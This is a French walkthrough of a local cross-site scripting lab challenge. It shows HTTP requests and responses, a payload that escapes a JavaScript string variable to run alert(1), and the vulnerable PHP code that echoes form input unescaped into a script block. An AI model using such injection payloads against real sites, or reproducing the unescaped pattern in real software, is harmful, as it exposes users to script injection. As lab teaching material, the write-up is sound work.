xss3

Exploitation

A nouveau une fonctionnalité de recherche pour ce troisième challenge, mais le mot renseigné doit être un nom d'utilisateur :

Lorsque je renseigne un nom d'utilisateur, il n'est ni réfléchi dans un message d'erreur, ni en tant que valeur du champ :

POST /xss3/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss3/

name=whatever&submit=Envoyer

Je recherche alors le nom directement dans la réponse HTTP :

HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 1908
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html>
<html>
  <head>
    <title>XSS 3</title>
    <link rel="stylesheet" href="../static/css/bootstrap.min.css" />
  </head>
  <body>
    ...
    <script>
      var name="whatever";
    </script>
  </body>
</html>

Le nom d'utilisateur renseigné est donc présent en tant que valeur d'une variable Javascript. Je tente assez simplement de sortir de la valeur avec le " puis d'exécuter l'affichage de la modale. Le commentaire, à la fin de ma payload, va permettre de se débarrasser des caractères superflus provenant de la concaténation effectuée dans le code whatever";alert(1);// :

POST /xss3/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss3/

name=whatever%22%3Balert%281%29%3B%2F%2F&submit=Envoyer

Analyse du code source

Le nom d'utilisateur renseigné est récupéré dans la variable $username. Cette variable est affichée grâce à la directive echo directement au sein d'un bloc Javascript en tant que valeur de la variable name :

<?php
  if (isset ($_POST['submit']) && isset ($_POST['name'])) {
    $username = $_POST['name'];
  }
?>

<script>
    <?php if (isset ($username) && !empty ($username)): echo ("var name=\"$username\";");?>
    <?php endif; ?>
</script>

Dernière mise à jour